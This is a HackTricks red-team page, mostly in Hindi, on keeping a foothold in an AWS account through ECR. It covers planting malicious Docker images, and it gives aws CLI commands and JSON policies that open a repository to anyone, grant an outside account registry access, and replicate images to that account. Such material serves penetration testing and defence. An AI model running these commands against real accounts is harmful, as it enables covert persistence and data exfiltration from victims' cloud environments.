AWS - ECR Persistence

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

ECR

अधिक जानकारी के लिए देखें:

pageAWS - ECR Enum

Hidden Docker Image with Malicious Code

एक हमलावर एक ECR रिपॉजिटरी में दुष्ट कोड वाली डॉकर छवि अपलोड कर सकता है और इसका उपयोग लक्षित AWS खाते में स्थिरता बनाने के लिए कर सकता है। हमलावर फिर दुष्ट छवि को खाते के विभिन्न सेवाओं में डिप्लॉय कर सकता है, जैसे Amazon ECS या EKS, एक छिपी हुई तरीके से।

Repository Policy

एक नीति जोड़ें एक एकल रिपॉजिटरी में खुद को (या सभी को) रिपॉजिटरी तक पहुंच देने के लिए:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ध्यान दें कि ECR आवश्यकता है कि उपयोगकर्ताओं को किसी IAM नीति के माध्यम से ecr:GetAuthorizationToken API को कॉल करने की अनुमति होनी चाहिए इससे पहले वे पंजीका में प्रमाणीकरण कर सकें और किसी भी अमेज़न ECR रिपॉज़िटरी से किसी भी छवियों को पुश या पुल कर सकें।

रजिस्ट्री नीति और क्रॉस-अकाउंट प्रतिलिपि

एक बाह्य खाते में एक पंजीका को स्वचालित रूप से प्रतिलिपि बनाना संभव है, क्रॉस-अकाउंट प्रतिलिपि को कॉन्फ़िगर करने के लिए, जहां आपको पंजीका को प्रतिलिपि बनाना चाहते हैं वहां बाह्य खाता निर्दिष्ट करना होगा।

सबसे पहले, आपको बाह्य खाते को पंजीका पर पहुंच देनी होगी जैसे कि एक पंजीका नीति के साथ:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

फिर उन्हें अनुकरण कॉन्फ़िगरेशन लागू करें:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated